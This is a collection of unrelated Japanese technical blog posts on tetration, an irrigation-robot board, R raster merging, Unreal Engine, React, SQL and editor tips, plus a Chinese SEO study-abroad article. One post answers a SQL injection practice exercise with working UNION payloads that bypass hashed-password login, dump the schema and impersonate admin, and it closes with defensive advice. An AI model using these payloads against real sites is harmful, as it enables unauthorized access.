10^{10^3},10^{10^4},10^{10^5},10^{10^6}\cdots
```
ここで気をつけないといけないのは、$10^{10^3}$は$(10^{10})^3$ではなく、$10^{(10^3)}$と言う風に右から計算していくというところです。

更に増やしていくと、
```math
10^{10^9},10^{10^{10}},\cdots10^{10^{100}},10^{10^{1000}}\cdots
```
こうなってくるので$100=10^2,1000=10^3$と書き換えてまたドンドコ増やしていきましょう。
```math
10^{10^{10^2}},10^{10^{10^3}},10^{10^{10^4}},\cdots
```

このように、指数が右肩に連なった形を指数タワーといいます。

$10^{10^{10^4}}$とかでも十分大きいのですが、爆発力が足りません。
もっと手っ取り早く数を大きくしていくには……、指数タワーの段数を増やしていけば増加スピードが上がりますね。
やってみましょう。
```math
10^{10^{10^{10}}},10^{10^{10^{10^{10}}}},10^{10^{10^{10^{10^{10}}}}},10^{10^{10^{10^{10^{10^{10}}}}}},\cdots
```
指数タワーの段数が増えていくと、またまた書く手が疲れてくるので、新しい表記法を導入しましょう。
# テトレーション

クヌースの矢印表記というものを使って、べき乗を下のように書き表します。

```math
a^b=a \uparrow b
```
この表記だと$10^{10^{10^{10}}}=10 \uparrow 10 \uparrow 10 \uparrow 10$となります。
    これを更に圧縮して、$10 \uparrow 10 \uparrow 10\uparrow 10 =10 \uparrow \uparrow 4$と書くことにします。
この演算のことを*テトレーション*と言います。
足し算、掛け算、べき乗に続く第4の演算ということでテトラ、繰り返しを意味するイテレーションをくっつけてテトレーションです。

これで$10 \uparrow \uparrow 5,10 \uparrow \uparrow 6,10 \uparrow \uparrow 7,\cdots$と数を大きくしていけます。
栽培ロボットを作ろう .bis




「栽培ロボットを作ろう」
https://qiita.com/nanbuwks/items/3d807e30e71e893c94eb


のコントロールボードをバージョンアップ。

# 改良点

- 駆動系を 5V から 12V に変更。
- 水抜き穴をつけて
- 基板を大型化
- 基本セットを 4ch コントロール版に変更
  - 既存のものは 1ch が基本セットで 4ch に拡張可であった
- それに伴い水路を整理
- 水チューブをキットに標準添付
- リレー出力ができるように拡張

# 回路図

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/c2ccf8cb-a083-b148-1280-fc555e0293c5.png)

:::note warn

2023/11/23 追記
R7〜R10 は 10kΩ → 510kΩ に変更になります。

:::

# IO割当

|||
|:---:|:---:|
|バルブ1|GPIO27|
|バルブ2|GPIO14|
|バルブ3|GPIO13|
|バルブ4|GPIO21|
|ポンプ1(給水ポンプ)|GPIO25|
|ポンプ2(排水ポンプ)|GPIO26|
|リレー1|GPIO12|
|リレー2|GPIO13|
|水位センサ1|GPIO34|
|水位センサ2|GPIO35|
|水位センサ3|GPIO32|
|水位センサ4|GPIO15|
|ブザー|GPIO2|
|GROVE1|GPIO22|
|GROVE2|GPIO39(VN)|
|サーミスタ・スイッチ|GPIO36(VP)|

# キット内容

その1

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/f8babd9d-016a-007e-0271-6b7ba36686d7.png)

ポンプx2
バルブx6
モータドライバx5
DCJACKx1
ブザーx1
SWx1
ESP32 DEVKITx1

その2



![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/7993b9e3-d0a7-e71d-f8c7-dbafa86052f7.png)

- センサx4
- チューブ太 50cmぐらい
- チューブ中 2mぐらい
- チューブ細 1mぐらい
- ポンプ電源ケーブル x 2
- 結束バンド x 6
- 分岐ジョイント x2

その3


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/a520b49d-5f40-aab4-9ea3-c93cb31feef3.png)

- 8ピンソケット x10
- 15ピンソケット x2
- 2Pコネクタ x8
- センサコネクタ x4
- M3ナットx8
- M3トラスネジ長 x8
- M3トラスネジ短 x12
- LEDx10
- 0.1uFコンデンサ x14 (余分に入っています)
- 330〜680Ω 抵抗 x14 (余分に入っています)
- 10kΩ抵抗j x4 (余分に入っています)

# 組み立て方法

完成状態写真です。これをもとに組み立ててください。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/48900f1a-e4af-cc1e-4853-b30f0990a32f.png)



DCJACKは左側のみとりつけます。
C2,C4,C15は電源が不安定な時に取り付けてください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/79ce522f-d272-3807-7082-2510e7724079.png)


各出力それぞれに、LED,ダイオード、コンデンサ、抵抗がつきます。写真のように取り付けてください。LEDは写真右側がアノードで長い足側です。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/8159a9a1-3031-1be9-5d75-47bd2402ba1c.png)

ポンプは赤いマーキングのところに赤い線をはんだ付けします。写真は間違い(汗)
電源は12Vと5V2つ必要で、5VはUSBケーブルから供給します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/df02444b-5839-e936-ee94-2c035b23ed24.png)


ポンプは給水ポンプと排水ポンプで上下が逆になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/218c9767-955a-a4fc-95b5-617fb0e97382.png)

パイピング。右上に延びるのが水タンクへ。左側の4つが各プランターへ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/b9b781ca-9baf-33ce-69da-7fb5db9bb8d0.png)
国土地理院基盤地図情報数値標高モデルをマージする



複数の数値標高モデルを読み込んでマージする際の手順です。terra:rast()関数で一気にマージしたいのですが、ちょっとうまくいきませんでした。

```R
# パッケージ読み込み
library(terra)
library(tidyverse)
```

## resolutionエラーが出る

以下のコードでマージしてやれば良いと思ったのですが、解像度が一致しないというエラーメッセージが出てしまいます。

```R
# GeoTIFFファイルのリスト作成
tif_list <- 
  list.files(path="rast/DEM/", 
             pattern=".*\\.tiff", 
             full.names=T) 
# purrr::map関数でSpatRaster形式でインポート
dem <-
  purrr::map(tif_list, rast)
# terra::merge()関数でラスタを結合する
dem_merge <- dem[[1]]
for(i in 2:length(dem) ){
  dem_merge <- 
    terra::merge(dem_merge , dem[[i]])
}
エラー: [merge] resolution does not match
```

ちなみに東西方向の結合はうまくいきます。
```R
terra::merge(dem[[1]], dem[[2]]) %>% 
  plot()
```
![01東西方向に結合.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/d14ffb89-d81f-3570-c0d1-d8e899fbe9f4.png)

しかし、南北方向だとうまくいかずresolutionエラーが出ます。

```R
terra::merge(dem[[1]], dem[[3]]) %>% 
  plot()
h(simpleError(msg, call)) でエラー: 
  引数 'x' の評価中にエラーが起きました (関数 'plot' に対するメソッドの選択時): [merge] resolution does not match 
```
## raster::merge()を使う

ちなみに、raster::merge()でも同じようなエラーが出ます。

```R
library(raster)
dem <-
  purrr:map(tif_list, raster)
raster::merge(dem[[1]], dem[[3]]) %>% 
  plot() 
h(simpleError(msg, call)) でエラー: 
  引数 'x' の評価中にエラーが起きました (関数 'plot' に対するメソッドの選択時): different origin 
```

ただし、raster::merge()の場合は、tolerance引数を0.2などにしてやるとうまく結合できるようです。

```R
dem_merge <- dem[[1]]
for(i in 2:length(dem) ){
  dem_merge <- 
    raster::merge(dem_merge , dem[[i]], tolerance = 0.2)
}
```

raster形式をSpatRasterに変換してあげれば、無事にSpatRaster形式になります。
これが解決法の一つ。ただし、図のようになぜかうまくいかないことがしばしばあります。この場合は、左上がおかしなことになっています。

```R
dem_merge_spraster <- rast(dem_merge)
plot(dem_merge_spraster)
````

![02なぜかうまくいかない結合.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/f2bcd77c-18e0-2f9f-a9c9-e68b8de7c5ec.png)



## fgdr::read_fgd_dem()関数でresolutionを指定して結合する

こちらが一番確実な方法です。地理院のxmlをGeoTIFFに変換する手間も不要です。

```R
### 地理院xml読み込み
#1 ダウンロードして解凍したxmlファイルを一つのフォルダに格納しておく。
xml <- 
  list.files(path="rast/gml/xml/", 
             pattern=".*\\.xml", 
             full.names=T) 
#2 xmlをrasterオブジェクトに変換
dem_merge <- 
  read_fgd_dem(xml[1], resolution = 10 , return_class = "raster")  # 最初のラスタ
#3 for文でxmlファイルをラスタオブジェクトに変換して結合
for(i in 2:length(xml) ) {
  dem1 <- read_fgd_dem(xml[i], 
                       resolution = 10 ,
                       return_class = "raster" )
  dem_merge <- merge(dem_merge , dem1, tolerance = 0.5)
}
#4  海域=-9999に0を代入
dem_merge[dem_merge < 0] <- 0
# SpatRasterに変換
dem_merge_spraster <-
  terra::rast(dem_merge)
#5 描画
plot(dem_merge_spraster)
```
![03結合がうまくいった.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/6f706cd8-05c6-7450-5474-a44b18d645ea.png)
UE FTickableGameObjectのTickが2回呼ばれる

# はじめに
UnrealEngineでGameInstanceSubsystemを使用し、毎フレームTickを実行したくなり以下のクラスを作成したときにTickが二回実行されていた
```
class HOGE_API Hoge : public UGameInstanceSubsystem, public FTickableGameObject
```
バージョン
UE5.3.0

# なぜ二回実行されるのか
UObject継承クラスは、ClassDefaultObjectが暗黙に作成されてしまいます。
自分が作成したGameInstanceSubsystemクラスにもCDOは作成されてしまいます。
このCDOによってTickが余分に呼び出されてしまいます。

# FTickableGameObjectの実装
FTickableObjectBaseを継承していて、このクラスで
```
/**
	 * Virtual that can be overloaded by the inheriting class. It is
	 * used to determine whether an object is ready to be ticked. This is 
	 * required for example for all UObject derived classes as they might be
	 * loaded async and therefore won't be ready immediately.
	 *
	 * @return	true if object is ready to be ticked, false otherwise.
	 */
	virtual bool IsTickable() const { return true; }
```
とTickを実行できる関数が定義されています。

# 対策
IsTickableがtrueを返すのが問題なので独自にオーバーライドします。
FTickableGameObjectの継承先で
```
bool bIsTickable = false;
bool UHogeGameInstanceSubsystem::IsTickable() const
{
	return bIsTickable;
}
```
と関数をオーバーライドします。
このままだと自分が作成したGameInstanceSubsystemでもTickが実行されないので、Initailize関数でbIsTickableをtrueにします。
```
void UHogeGameInstanceSubsystem::Initialize(FSubsystemCollectionBase& Collection)
{
	Super::Initialize(Collection);
	bIsTickable = true;
}
```
CDOからはInitalize関数が実行されないので、これでCDOのTickは実行されなくなりました。
SQL tips 2: 外部データを力業でインポート

外部のデータ（DBに入っていないマスタとか）をSQLで使いたいけど、新規テーブルを作る権限がないときの一つの方法です。

```sql
WITH test AS(
    SELECT
        X1, X2, X3
    FROM (VALUES
        (1, 2, 3),
        (4, 5, 6),
        (7, 8, 9)
        ) AS v(X1, X2, X3)
            )
SELECT * 
    FROM test
```

やっていること
・VALUES句で読み込ませたいデータを書く。
・書いたデータをSELECTで取り出して、test という名前で WITH句に入れる。
・WITH句で作ったものからデータを取り出す。


これで任意のデータを読み込めて、JOIN などができます。

注意
・0から始まる文字列は VALUESだと 0 が消えてしまうので、他の方法を取る必要があります（郵便番号など）。どこかで記事としてまた書きます。
Identicon Classification / Detection / Identification 【GitHub】

<p class="codepen" data-height="720" data-default-tab="result" data-slug-hash="QWzqBrO" data-user="04" style="height: 720px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/04/pen/QWzqBrO">
  Untitled</a> by John Doe (<a href="https://codepen.io/04">@04</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>



データセット作成

```bash
mkdir files
cd files
for i in `seq 100`; do wget 'https://api.github.com/users/torvalds/followers?per_page=100&page='$i; done

cd ..
mkdir images
cd images
for i in `cat ../files/* | jq -r .[].login`; do wget 'https://github.com/'$i'.png'; done
```

作成したデータセットとモデル

https://drive.google.com/drive/folders/1k82hQHsLTRhDfgU0BQz-To2M2VXkbAFz?usp=sharing

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/435735/49136d5f-aad6-1996-fd8b-e40274247ae2.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/435735/1d55d7d1-7723-6248-807d-f023366a675a.png)
Windows 10 から Windows 11 へのアップデート（MSI マザーボード）

## 環境
* B450 GAMING PLUS MAX
* Windows 10 home

## インストール

最初はインストールしようとした際に、システムの最小要件を満たしておらずインストールできなかった。PC 正常性チェックツールで確認したところ、TPM2.0 を有効にする必要があるとのこと。[TPM 2.0搭載MSIマザーボードでTPMを有効にする方法](https://jp.msi.com/blog/How-to-Enable-TPM-on-MSI-Motherboards-Featuring-TPM-2-0)を参考にして、有効にした。

再起動後、PC 正常性チェックは OK となったが、Windows Update のほうでは、NG のままだった。この状態で、Windows Update ではなく Windows 11 インストールアシスタントを用いてトライしたが、インストールの進捗80% くらいでエラーが起きてしまう。

[Windows11のアップグレード/インストールができない時の対処法](https://itojisan.xyz/trouble/26623/#3_UEFI)を参考に、セキュアブートを有効にしたが、 Windows Update のほうは相変わらず NG でインストールアシスタントを使うと、少し先の状態まで遷移するが、結局下記のエラーが出てしまう。

![windows11_faile.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/238525/7143c33e-7ef8-fbde-a9aa-1b31b6a507cf.png)


[MSI MOTHERBOARDS Windows 11 Compatible](https://jp.msi.com/Landing/msi-motherboards-windows11-compatible)を見て、BIOS をアップデートしてみる。アップデート後、再度 TPM2.0 とセキュアブート有効を確認したところ、インストールアシスタントでインストールに成功した。結局、Windows Upadte では NG 判定のままだった。
Brainf**kで湯婆婆を実装してみる(zenn参照)

# 本記事について
大分時間が経ってますが、[Javaで湯婆婆を実装してみる](/Nemesis/items/c7192a7c510788d2cba2)に触発され、Brainf\*\*kによる実装を行いました。
ただ、esolang系の新規記事は zenn へ投稿するようにしていますので、zenn上の記事 https://zenn.dev/angel_p_57/articles/81b3cc28bf26b8 へのリンクとして、Qiitaに残しておきます。詳細はこちらの zenn の方をご参照ください。
「パスワードがハッシュ値で保存されているサイトのSQLインジェクションによる認証回避の練習問題」を考えてみました

https://qiita.com/ockeghem/items/787f74801a24e1fc6960

の回答例を考えてみました。一応、「できるだけソースコードの内容に依存しない」ということを意識しています。

※ 試しに順に入力して動作確認する場合、パスワード欄は'test'固定にしてください。FROMを省略できるRDBMSということにも依存していますが、省略できない場合ダミーテーブルを使うことになりますが、順に試せば特定は可能と思われます。

まず、selectしている列数を特定するため、ユーザー名欄に下記を順に入力してみます。

```
' UNION SELECT 1 --
' UNION SELECT 1, 2 --
' UNION SELECT 1, 2, 3 --
' UNION SELECT 1, 2, 3, 4 --
```

エラーが4列の時に無くなるので、元のSQLが4列のselectであることが特定できます。

次に、順にNULLを1列目から順に与えてみます。すると、

```
' UNION SELECT 1, 2, NULL, 4 --
```
において、
```
Deprecated: password_verify(): Passing null to parameter #2 ($hash) of type string is deprecated in /var/www/html/login.php on line 13
```
という警告メッセージが表示されます。このことから、php標準のpassword_verifyを使用していることが特定できます。また同時に3列目をパスワードハッシュ判定で使用していると判断できます。なお、password_verifyを使っていなかったとしても、フレームワークやライブラリの一般的なハッシュ関数であれば、環境構築などの手間は増えますがこの後の作業において大きな違いは出てこないはずです。

password_verifyで使用可能なハッシュアルゴリズムの種類は限られていますので、パスワード'test'に対するハッシュをphp -a上のpassword_hashで求めてそれを3列目に設定し順にログインしてみます(詳細略)。その結果、 PASSWORD_BCRYPTで求めたもので突破できることが確認できます(順にログインとしていますが、実際にはpassword_verifyはPASSWORD_BCRYPTには必ず対応しているはずなのでその確認のみで良いはずです)。なおここで、対象のWebアプリケーションがいわゆるペッパーを使用している場合、突破できません。

```
' UNION SELECT 1, 2, '$2y$10$XUHtWTj6OP5cpuH85HDVi.hS6JRuK.yh1jG13qXyEKCqTOoMS05jq', 4 --
```

また結果が2ですので、2列目がユーザー特定列であることが特定できます。そうすると、

```
' UNION SELECT 1, 'admin', '$2y$10$XUHtWTj6OP5cpuH85HDVi.hS6JRuK.yh1jG13qXyEKCqTOoMS05jq', 4 --
```

で一応(表面的には)解決です。

ただ、上記がadminユーザーとしてのログインを必ずしも意味しませんので、さらにもう一工夫したいところです。そのための情報を調査します。

まずはどのようなDBMSを使用しているのかを特定します。これもパターンは限られるので2列目のサブクエリで順に実行してsqlite3と特定できたとします(詳細略)。

テーブルのスキーマを特定します。
```
' UNION SELECT 1, (select group_concat(sql) from sqlite_master), '$2y$10$XUHtWTj6OP5cpuH85HDVi.hS6JRuK.yh1jG13qXyEKCqTOoMS05jq', 4 --
```

そうすると、以下の結果が得られます。
```
ログイン成功:CREATE TABLE users (id int, userid varchar(64), password varchar(128), email varchar(128), PRIMARY KEY (id))
```

ちょうど4列ですので、認証用のSQLではフィールドをそのままアスタリスクで得ているのだろうと推定します。その結果、下記のようにします。

```
' UNION SELECT (SELECT id FROM users WHERE userid='admin'), 'admin', '$2y$10$XUHtWTj6OP5cpuH85HDVi.hS6JRuK.yh1jG13qXyEKCqTOoMS05jq', (SELECT email FROM users WHERE userid='admin') --
```

上記はもしフィールドをアスタリスクで得ていない場合や別テーブルとjoinしているような場合(つまり列の対応関係がテーブルの定義順と一致しない場合)、順に試すことが必要とはなるでしょう。テーブルスキーマは得ていますので、エラーメッセージやログイン後の挙動で順に試せば最終的にはadminとしてのログインと同じ状態にできるでしょう。ただ、どうしても試行錯誤が必要な部分かと思います。

これで、adminとしてのログインもできました。

# まとめ

上記のやり方は、SQLインジェクションだけではなく、全体的に「エラーメッセージが表示される」ということに依存しています。そのため、安全なwebアプリケーションのためにはエラーメッセージの詳細は隠ぺいすることが望ましいことがわかります。またwarningになりえる箇所(今回の場合はpassword_verifyにnullを与えたところ)をつぶしておくことも多少は有効でしょう(エラーメッセージが非表示なら不要です)。標準的なパスワード用ハッシュ関数をそのまま使うこともSQLインジェクションを前提としたときにはユーザー認証において危険性があります。可能ならばpasswordにペッパーを加えてハッシュ化する方が望ましいでしょう(ペッパーはソースコード直書きでも良いぐらい)。

ただもちろん、SQLインジェクションができてしまうと想定外の問題が起こりえるかもしれませんし、それができなければ仮にエラーメッセージが表示されても危険度は大幅に低下するため、そちらを撲滅することが最重要です。

対策重要度でいうと

SQLインジェクションされないようにする > エラーメッセージが表示されないようにする > 標準的なパスワード用ハッシュ関数をそのまま使わない(ペッパーを使う)、warningをつぶす

ということになると思います。
[MAC OS]VSCodeでGolangの環境構築してHelloWorld出力までの記録

## 初めに

今回はVSCodeでgo言語を使用して環境構築〜HelloWorldの出力までの方法を記載していきます。

割と備忘録的な感じになりますが、ご容赦ください。

※筆者ですが、普段はアプリエンジニアをしており、flutterやswiftを弄っていて、goの経験はないのでもし何か間違い等あればご指摘いただけると助かります。。

なお,筆者の環境ですが、以下の通りです。

cpu: **Apple M1**
os: **Monterey**
os version: **12.5**


## 環境構築

まずはgoのダウンロードからです。

以下のURLからアクセスして、ご自身の環境似合った物をダウンロードしてください。


https://go.dev/dl/

ダウンロードできたら、macではターミナル、windowsではコマンドプロンプトを開きます。
```
go version
```

と入力して確認します。

インストールされていたら、Goのバージョンが出力されます。

```
go version go1.14.2 darwin/amd64
```
※ダウンロードしてからgoのバージョンが出力されるまで少しラグがある事があります。

### editor（VSCode）のインストール

今回は諸々考えて、VSCodeを採用しました。

他のeditorの検討などはこの記事では省略します。

https://code.visualstudio.com/download

### VSCodeに拡張機能をインストール

VSCodeをインストールできたら、**拡張機能(Ctrl+Shift+X)を開いてGoで検索します。**

![スクリーンショット 2023-09-18 9.53.30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3158219/adc56fc2-16ba-134d-aa75-ed1187e73a5c.png)

そのままGoの拡張機能をインストールします。

### 拡張機能の依存パッケージをインストール

最後にGo言語の拡張機能が依存するパッケージをインストールします。

VSCodeでコマンドパレット(Ctrl+Shift+P)を開いてGO: Install/Update toolsで検索します。


![スクリーンショット 2023-09-18 9.57.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3158219/339d3783-5dba-2bf3-8809-71087c7eeb28.png)

このまま検索できたものをインストールします。


※ちなみにコマンドパレットとは、VS Codeが提供する多数の機能にアクセスするための「コマンド」が並べられた「パレット」のことです。 マウスでコマンドパレットに表示される項目を選択することも可能ですが、実際にはこれはキーボードからVS Codeの機能を利用するためのもの。
普段、VSCodeを使わない人からするとなんか新鮮ですね。。


ここでひとまず、環境構築自体は一旦終了です。
お疲れ様でした。


## プロジェクトを作成する

任意の場所に適当の名前の空フォルダを作成します。

今回はGoProjectと命名しました。

![スクリーンショット 2023-09-18 18.22.55.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3158219/a83b4c4f-6af2-79a5-88ab-2e5402950972.png)


空フォルダを作成したら、VSCodeでそれを開きます。

メニューバーを開き、開く。。を選択します。

先ほどの空ファイルを選択します。

![スクリーンショット 2023-09-18 18.28.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3158219/e589cabb-cf48-c7dd-fb76-63f84ab9049e.png)


## プロジェクトを初期化する。

先ほどのプロジェクト配下に移動した後、go mod initで初期化を行うとgo.madファイルが自動で作成されます。
```
cd GoProject
go mod init GoProject
}
```

## main.goファイルを作成する。

メニューバーから新しいファイルを選択し、main.goファイルを作成します。

![スクリーンショット 2023-09-18 19.18.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3158219/352ffcd6-e950-f31a-2226-d44afa5fe462.png)


## HelloWorldを出力する。

```
package main

import "fmt"

func main() {
	fmt.Println("Hello, World!")
}

```

main.goファイルに上記をコピペしてください。

## コードの保存

メニューバーのファイルを選択し、保存を選択します。

![スクリーンショット 2023-09-18 19.24.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3158219/3f066821-3b04-3369-360e-7f7cec835582.png)


## ターミナルからコードを実行する

 
```
 go run main.go
```

これでHello Worldが出力されれば成功です！

## 最後に

最後まで読んでいただきありがとうございました。

何か間違っていた箇所などあればご指摘よろしくお願いいたします。
在全球化的時代，越來越多的台灣學生選擇出國留學

"在全球化的時代，越來越多的台灣學生選擇出國留學，以追求更廣闊的學習環境和更好的教育資源。其中，國際學校成為了許多家庭首選的教育選擇。本文將介紹國際學校的優勢，以及如何準備出國留學所需的SAT考試和美國簽證。

[國際學校](https://www.apexcharity.org/news/3/82)提供了一個國際化的學習環境，這意味著學生可以接觸到來自世界各地的同學，擁有更多元的文化交流機會。這種多元性不僅能夠豐富學生的視野，也能夠培養學生的國際觀念和跨文化溝通能力。此外，國際學校通常採用國際課程，如國際文憑課程（IB）或美國高中課程，這些課程的教學質量較高，為學生提供了更好的學習環境和學術支持。

對於打算[出國留學](https://www.apexcharity.org/news/3/83)的學生來說，SAT考試是必不可少的一個環節。SAT是美國大學招生考試，它評估學生在閱讀、寫作和數學方面的能力。通過SAT考試，學生能夠提高自己的大學申請競爭力，並獲得更多的學校選擇機會。考生可以藉助各種SAT備考資源，如考試指南、網上模擬測試和補習班等來準備考試。此外，SAT考試有多次考試的機會，學生可以選擇最佳的考試日期來取得最好的成績。

除了[SAT](https://www.apexcharity.org/news/3/84)考試，申請美國簽證也是出國留學的重要步驟之一。學生需要準備相應的文件，如在學證明、財力證明和簽證申請表等，並參加簽證面試。在面試中，學生需要向領事官員展示自己的學術能力、學習計劃和回國意願，以確保順利獲得簽證。為了提高申請簽證的成功率，學生可以參加簽證面試的準備課程和咨詢服務。

總結來說，國際學校為台灣學生提供了一個全球化的學習環境，能夠培養學生的國際觀念和跨文化溝通能力。出國留學需要通過SAT考試和申請[美國簽證](https://www.apexcharity.org/news/3/94)，學生可以藉助各種備考資源和咨詢服務來準備這些步驟。希望這篇文章對於計劃出國留學的台灣學生有所幫助，並能夠提升他們在搜索引擎中的搜尋結果。"
画面遷移時に関数を発火させるときuseStateの値を参照する方法

# 詰まった点
```tsx
import { useEffect, useState } from 'react';
import { useRouter } from 'next/router';

export default function MyComponent() {
  const router = useRouter();
  const [count, setCount] = useState();

  const handleRouteChange = () => {
    console.log(count);
  };

  useEffect(() => {
    router.events.on('routeChangeStart', handleRouteChange);

    return () => {
      router.events.off('routeChangeStart', handleRouteChange);
    };
  }, []);

  return <div>My Component</div>;
}
```
上記のようなコードで画面遷移を行うとuseStateの初期値、つまり今回だと0がコンソールに表示されてしまう

# 原因
useEffectの第二引数に何も入れないと第一引数とした関数がマウント時のまま、つまりuseStateが更新されても参照している値がレンダリング時のままになってしまうため

# 対処法
## useEffectの第二引数にcountを入れてcountが変化するたびに関数を際生成するようにする
```tsx
import { useEffect, useState } from 'react';
import { useRouter } from 'next/router';

export default function MyComponent() {
  const router = useRouter();
  const [count, setCount] = useState();

  const handleRouteChange = () => {
    console.log(count);
  };

  useEffect(() => {
    router.events.on('routeChangeStart', handleRouteChange);

    return () => {
      router.events.off('routeChangeStart', handleRouteChange);
    };
  // ここにcountを代入
  }, [count]);

  return <div>My Component</div>;
}
```
サクラエディタ、エクセルを使用したデータ加工について

# 1、起きた事象
DTOの内容が記載されている仕様書とソースの内容が乖離していた。
ソースを正として仕様書を修正する必要があったが、定義されている項目数が
多いため、仕様書に足りていない項目を把握するのに時間がかかってしまう。

# 2、教えてもらった内容
サクラエディタの置換機能を使用して、ソース内容を整形する。
整形した内容と仕様書の記載内容をエクセルに貼り付け、確認する。

# 3、教えてもらった内容の補足や調べた内容
**（1）サクラエディタの機能**
　　　（i）左の空白を削除：選択した行の左にある空白を削除する機能
　　　（ii）置換：行ごとに指定した語句を別な語句に変換する機能

**（2）正規表現**
　　　.：任意の1文字
　　　*：直前の文字が0回以上繰り返すことを意味します。
　　　^：行の先頭
　　　￥r￥n：改行コード
　　　￥t：タブ区切り

**(3)エクセルで確認した内容**
　　仕様書とソースに記載されている項目の
　　並び順が同じなので、貼り付けた項目の隣同士を
　　「＝」で比較し、Trueを返すことで、一致していると判断する。

# 4、実際に使用した方法
（1）DTOの定数をコピーして、サクラエディタに貼り付ける。

・DTO＿ソース内容
```
namespace SampleDto
{
    public class Sample1
    {
　　　　<summary>サンプル項目1</summary>
        private int number { get; set; }
        <summary>サンプル項目2</summary>
        private string Name { get; set; }
        <summary>サンプル項目3</summary>
        private degimal price { get; set; }
        <summary>サンプル項目4</summary>
        private decimal amount { get; set; }
        <summary>サンプル項目5</summary>
        private string nirvana { get; set; }
        <summary>サンプル項目6</summary>
        private string boobieTrap { get; set; }
    }
}
```
・サクラエディタ貼り付け内容
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560095/8c7b85be-6aeb-cb92-5a2c-41385f0f1550.png)


（2）貼り付けた項目を選択し、下記操作を行う。
　　 タブ：編集 → 整形 → 左（先頭）の空白行を削除

・整形後＿サクラエディタ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560095/f2e53608-f24f-0807-51ba-9ceffa2c82c3.png)


（3）エクセルに貼り付けたい項目だけを残せるよう「置換」する内容を考える
　　（ⅰ）残したい内容について
　　　　　 物理名（ソースに記載されているnumber、Nameなど）

　　（ⅱ）不要な項目
　　　　　・＜summary＞タグで囲んだ箇所
　　　　　・prrivateから物理名までの箇所
　　　　　・{ get; set; }
　　　　　・置換後の項目間の空白行

　　（ⅲ）置換機能で不要な項目を削除する方法
　　　　　下記内容を置換前に記載して、置換後の箇所に何も記載しない
　　　　　・＜summary＞.*
　　　　　　→「.*」で任意の語句が0回以上 ＝ すべての語句が対象となる
　　　　　・private int
　　　　　・private string
　　　　　・private degimal
　　　　　・{ get; set; }
　　　　　・^￥r￥n


(4)置換を実施

・「＜summary＞.*」置換後
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560095/f2a52338-0edc-26fe-1cc8-fcc44f719fa7.png)

・「private int、string,degimal」置換後
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560095/d793ea45-83f0-41ac-7005-da2457b49f42.png)

・「{ get; set; }」置換後
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560095/074d6f39-df48-4f0f-42d8-e5e1b1a41994.png)

・「^￥r￥n」置換後
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560095/36d1ae04-f1e4-8ee6-4adb-0cbe3dbf9ebe.png)


(5)データの並び順を変更する
　 縦に並んでいるデータを横に並ぶように変更。
　
　（i）変更方法
　　　 各項目の終わり箇所にある改行コードを任意の文字に変換。
　　　 任意の文字をタブ区切りに変換

　（ii）置換方法
　　　 ・置換前に「￥r￥n」、置換後に「任意の文字」を入力。
　　　 ・置換前に「任意の文字」、置換後に「￥t」を入力

・置換前に「￥r￥n」、置換後に「任意の文字」を入力。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560095/39522bb5-9e13-e73d-4a29-667358487965.png)

・置換前に「任意の文字」、置換後に「￥t」を入力
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560095/26963efd-cdc5-ec09-2bcb-2c692ba27a9d.png)


(6)仕様書の項目と整形した内容をエクセルに貼り付ける。
　 貼り付けた項目を「=」で判定する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560095/d1b491b9-bb18-bd9f-a5ef-29bd64194651.png)
※Excelがないので、代用でスプレッドシートを使用しています。。。。
mdformatでYAML Frontmatterが変換される現象と回避方法について

# はじめに

本記事は以下ブログ記事の転記です。

https://7rikazhexde-techlog.hatenablog.com/entry/2023/09/18/005247

# 要約

- Frontmatterを追加したMarkdownファイルでMarkdownフォーマット向けのライブラリである[mdformat](https://pypi.org/project/mdformat/)を使用するとFrontmatter部分が変換されてしまう。
- mdformatのプラグインである[mdformat-frontmatter](https://pypi.org/project/mdformat-frontmatter/)をインストールしてpre-commit hookを設定すれば変換されないようになる。

# 問題の現象について

`mkdocs`で`metaタグ`を生成するのに、**Frontmatter**を設定しました。[^1]
しかし、以下のように**Frontmatter**部分が変換されてしまう現象が発生しました。

## 変換前

```md
---
description: Inkscape tips
